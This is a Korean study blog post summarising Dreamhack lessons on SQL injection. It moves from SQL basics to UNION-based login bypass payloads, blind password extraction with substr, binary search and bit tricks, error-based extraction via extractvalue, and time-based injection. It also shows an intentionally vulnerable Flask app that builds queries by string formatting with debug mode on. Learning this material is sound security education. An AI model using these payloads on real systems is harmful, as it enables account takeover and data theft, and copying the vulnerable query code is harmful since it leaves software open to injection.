[dreamhack roadmap] SQL Injection - 1

덩덩..·2024년 9월 14일

1. SQL DML

들어가며

DDL : Definition Language
DML : Data Manipulation Language
DCL : Data Control Language
SQL에서는 총 3가지의 언어 제공

DML : 데이터베이스에서 데이터를 조회, 추가, 삭제, 수정 수행하는 구문
웹 서비스에서 대부분 이용하는 기능은 DML을 통해 처리

DML

1. SELECT

  • 데이터를 조회하는 구문
설명
SELECT이 문자열을 시작으로 조회하기 위한 표현식, 칼럼에 대해 정의
FROM데이터 조회할 테이블의 이름이 들어감
WHERE조회할 데이터의 조건이 들어감
ORDER BY조회한 결과를 원하는 컬럼 기준으로 정렬
LIMIT조회한 겨로가에서 행의 개수,오프셋(위치) 지정
# FROM절 이용해 board 테이블의 uid, title, boardcontent 데이터 검색
SELECT
    uid, title, boardcontent
FROM board
#boardcontent 데이터에 abc 문자 포함되었는지 찾음
WHERE boardcontent like '%abc%'
#uid기준으로 내림차순 정렬 후 5개의 행을 결과로 반환
ORDER BY uid DESC
LIMIT 5 

2. INSERT

  • 데이터를 추가하는 구문
설명
INSERT이 문자열을 시작으로 추가할 테이블, 데이터 정의
INTO데이터를 추가할 테이블의 이름, 컬럼 정의
VALUESINTO 절에서 정의한 테이블의 컬럼에 명시한 데이터들 추가
INSERT 
	# board라는 테이블을 추가하고 이것의 칼럼을 title, boardcontent로 명시
    INTO board (title, boardcontent)
    #INTO절의 명시한 테이블의 칼럼에 각각 데이터 추가
    VALUES ('title 1', 'content 1'), ('title 2', 'content 2');
INSERT 
    INTO board (title, boardcontent)
    #title에는 'title 1'값 추가
    #boardcontent에는 SELECT구문 - user테이블의 uid 칼럼값이 'admin'인 행 찾고 그 행에 upw 데이터 추가 (서브쿼리사용)
    VALUES ('title 1', (select upw from users where uid='admin'));

서브쿼리 : 메인 쿼리 실행되기 전에 먼저 실행되는 쿼리
서브쿼리 사용 : 다른 테이블의 데이터를 그대로 가져와 삽입 가능

3. UPDATE

  • 데이터를 수정하는 구문
설명
UPDATE이 문자열을 시작으로 수정할 테이블 정의
SET수정할 컬럼, 데이터 정의
WHERE수정할 행 조건 정의
#board 테이블의 boardcontent 컬럼을 'update content 2'로 수정
UPDATE board
    SET boardcontent = "update content 2"
    #수정될 데이터 조건 : title 1인 행
    WHERE title = 'title 1';

4. DELETE

  • 데이터를 삭제하는 구문
설명
DELETE이 문자열을 시작으로 삭제할 테이블 정의
FROM삭제할 테이블 정의
WHERE삭제할 행 조건 정의
#board테이블의 title칼럼이 'title 1'인 행 삭제
DELETE FROM board
    WHERE title = 'title 1';

2. SQL Features

들어가며

SQL에서 여러 개 쿼리 사용해 데이터를 검색하는 방법,
애플리케이션이 반환되는 결과값 통해 데이터 유추하는 방법

UNION

1. UNION

  • 다수의 SELECT 구문 결과 결합하는 절
  • 다른 테이블에 접근/원하는 쿼리 결과 생성 -> 애플케이션에서 처리하는 타 데이터 조작O
    -> 애플리케이션 -> DB 쿼리 실행 결과 출력 시 유용
# username, password 컬럼에 'DreamHack', 'DreamHack PW'가 일치하는 데이터 조회
 mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";
 
/*
+-----------+--------------+
| username  | password     |
+-----------+--------------+
| admin     | admin        |
| guest     | guest        |
| DreamHack | DreamHack PW |
+-----------+--------------+
3 rows in set (0.01 sec)
*/

2. Condition

이 구문 사용 시
1. 이전 SELECT 구문과 UNION 사용한 구문 실행 결과 중 컬럼 개수가 같아야 함

### 컬럼 개수 일치하지 않아 에러
mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW", "Third Column";

/*
ERROR 1222 (21000): The used SELECT statements have a different number of columns
*/
  1. 특정 DBMS에서는 이전 SELECT 구문, UNION 사용한 구문 컬럼 타입이 같아야 함
### 두 구문 컬럼 타입 달라 오류
# MSSQL (SQL Server)
SELECT 'ABC'
UNION SELECT 123;

/*
Conversion failed when converting the varchar value 'ABC' to data type int.
*/

Subquery

  • 한 쿼리 내 또 다른 쿼리 사용
  • 쿼리 내 괄호 안에 구문 삽입함, SELECT 구문만 사용 가능
  • 공격자 =>> 서브 쿼리 -> 쿼리 접근하는 테이블 아닌 다른 테이블 접근/ SELECT 구문 사용X 쿼리문에서 SQL Injection 취약점 발생-> SELECT 구문 사용 O
#서브 쿼리 통해 데이터 조회
#서브 쿼리 실행돼 456 출력
mysql> SELECT 1,2,3,(SELECT 456); 
/*
+---+---+---+--------------+
| 1 | 2 | 3 | (SELECT 456) |
+---+---+---+--------------+
| 1 | 2 | 3 |          456 |
+---+---+---+--------------+
1 row in set (0.00 sec)
*/

예시1. COLUMNS 절

  • 단일 행, 단일 컬럼 반환되도록
### 복수 행, 컬럼 반환하는 서브 쿼리 실행 -> 에러
mysql> SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users;
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> SELECT username, (SELECT "ABCD", 1234) FROM users;
ERROR 1241 (21000): Operand should contain 1 column(s)

예시2. FROM 절

  • ==인라인 뷰 (Inline View)
    : 다중 행, 다중 컬럼 반환
mysql> SELECT * FROM (SELECT *, 1234 FROM users) as u;
/*
+----------+------+
| username | 1234 |
+----------+------+
| admin    | 1234 |
| guest    | 1234 |
+----------+------+
2 rows in set (0.00 sec)
*/

예시3. WHERE 절

  • where 절에서 서브쿼리 사용 시 다중 행 결과 반환하는 쿼리문 시행
# Where 절에서 다중 행 반환
mysql> SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");
/*
+----------+----------+
| username | password |
+----------+----------+
| admin    | admin    |
| guest    | guest    |
+----------+----------+
2 rows in set (0.00 sec)
*/

Application Logic

1. Application Logic

SQL Injection - 애플리케이션 내부에서 사용하는 DB 데이터 조작하는 기법
특정 쿼리 실행 -> 쿼리 실행 결과 -> 애플리케이션에서 보이지 않으면 공격자 : 정보추측 어려움
(애플리케이션 - DB 결과 따라 기능 수행(특정 번호 게시물 조회 시 있다면 표시, 없으면 존재X 메시지 출력))
==> 공격자 : 참/거짓 구분해 공격 수행

Logic 이용 공격

<UNION 사용 공격>

  • UNION 절 사용 -> 두개 SELECT 구문 결과 반환 => 참 반환할 수도
#union 절에서 'admin' 반환하므로 애플리케이션이 참 반환
/?username=' union select 'admin' -- -
==> True

<비교 구문 사용한 공격>
애플리케이션에서 'admin'반환해 관리자 권한으로 로그인 방법 O
+)관리자 계정 비밀번호 알아내는 방법 O

IF문 사용해 비교 구문 만들 수 있음
substr : 첫번째 인자로 전달된 문자열을 두번째 인자로 전달된 위치에서 시작해 세번째 인자로 전달된 문자 수 만큼 문자들 반환

# 첫번째 바이트 - B아님
/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
==> False
# 첫번째 바이트 - P
/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
==> True
# 두번째 바이트 - a
/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
==> True
# ... => 관리자 비밀번호 알아낼 수 있음

3. Blind SQL Injection Advanced

Blind SQL Injection : 임의 데이터 알아내기 위한 방법, 수많은 쿼리 전송
=> 방화벽에 의해 접속 IP 차단 가능, 데이터 길이 길수록 쿼리도 늘어나고 공격 시간 길어짐 -> 효율적인 방법 알아보기!

ExploitTech

  • 이미 정렬된 리스트에서 임의의 값 효율적 찾기 위한 알고리즘
  • 임의 값 찾기 위해 검색 범위 좁혀감

1. 범위지정

  • 0 ~ 100 범위 내 한 숫자만이 정답일 때 -> 중간값(50) 지정

2. 범위조절

  • 50보다 큰 값 -> 51 ~ 100
  • 50보다 작은 값 -> 0 ~ 49
  • 범위 좁혀나가기
#substr 함수 반환값 비교해 패스워드 알아내기 공격
#아스키에서 출력 가능한 문자 범위 : 32~126 => pwd 첫 바이트 > 79인지 확인
mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

#비밀번호 첫번째 바이트 : 80(P)이므로 참
#80~126 중간값인 103으로 확인하기
#반복해서 비밀번호 구하기

2. Bit 연산

  • 아스키 - 0~127 범위 문자 표현
  • 7개 비트로 하나의 문자 나타낼 수 있음
  • 하나 비트 : 0, 1로 표현
  • 7개 비트를 1인지 비교하면 7번 쿼리로 임의 데이터의 한 바이트 찾을 수 있음
  • bin 함수 제공(숫자 -> 비트로 변환)
#패스워드를 비트로 변환
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)

mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.01 sec)

...

mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)

### 7번 쿼리 -> 반환 결과로 한 바이트 알아냄
### 2진수로 표현 : 1010000, 10진수로 표현 : 80, 문자로 표현 : 'P'

4. Error & Time based SQL Injection

ExploitTech

1. Error based SQL Injection

  • 임의로 에러 일으켜 DB/OS 정보 획득 공격
## pip3 install PyMySQL //pymysql 라이브러리를 설치하기 위한 명령어
from flask import Flask, request
import pymysql

app = Flask(__name__)

def getConnection():
  return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')

#입력값 검사하지 않고 sql 쿼리에 포함
#sql 실행 결과 출력하는 코드 없고 쿼리 실행 결과만 판단
@app.route('/' , methods=['GET'])
def index():
  username = request.args.get('username')
  sql = "select username from users where username='%s'" %username

  conn = getConnection()
  curs = conn.cursor(pymysql.cursors.DictCursor)
  curs.execute(sql)
  rows = curs.fetchall()
  conn.close()

  if(rows):
    return "True"
  else:
    return "False"

#디버거 모드 활성화
app.run(host='0.0.0.0', port=8000, debug=True)

공격방법

Flask 애플리케이션 -> 디버거 모드 활성화 -> 코드 오류 시 발생 원인 출력
-> 오류 메시지로 공격에 필요한 정보 수집, 원하는 데이터 획득

공격 코드 작성

extractvalue함수
첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH식을 통해 데이터 추출
응용 -> DB 정보 추출 가능

mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
######오류#########
# :로 시작하면 안됨
mysql> SELECT extractvalue(1, ':abcd');
##################
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test                                          |
+-----------------------------------------------+
1 row in set (0.00 sec)

extractvalue 응용 -> 서브쿼리 통해 임의 테이블 데이터 획득

mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

2. Error based Blind SQL Injection

  • Blind SQLI, Error based SQLI 동시 활용 공격
  • 서버가 반환하는 HTTP 상태코드/애플리케이션 응답 차이로 에러 발생 여부 확인(임의로 에러 발생시키고) 참/거짓 판단해 데이터 추출
  • Blind추가되어 -> 에러 발생 여부만 필요로 하므로 용이
###Double 자료형 최댓값 초과 에러
# 쿼리 실행 -> 서버가 반환하는 HTTP 상태코드/애플리케이션 응답차이로 에러 여부 확인, 참/거짓 여부 확인
mysql> select if(1=1, 9e307*2,0);
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
mysql> select if(1=0, 9e307*2,0);
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)

Short-circuit evaluation

  • 로직 연산 원리 이용해 공격
  • A, B식에서 AND 연산자 사용 시 두개 식 모두 참이어야 전체 식이 참
#처음 식 -> 거짓 ==> sleep 함수 실행 X
mysql> SELECT 0 AND SLEEP(1);
+----------------+
| 0 AND SLEEP(1) |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)

#처음 식 -> 참 ==> sleep 함수 실행 O
mysql> SELECT 1 AND SLEEP(10);
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (10.04 sec)

3. Time based SQL Injection

  • 시간지연 이용 -> 쿼리 참/거짓 여부 판단

  • 시간 지연시키는 방법 : 헤비 쿼리(heavy query)(DBMS에서 제공하는 함수/시간 많이 소요되는 연산 수행)

  • sleep 함수, benchmark함수...

0개의 댓글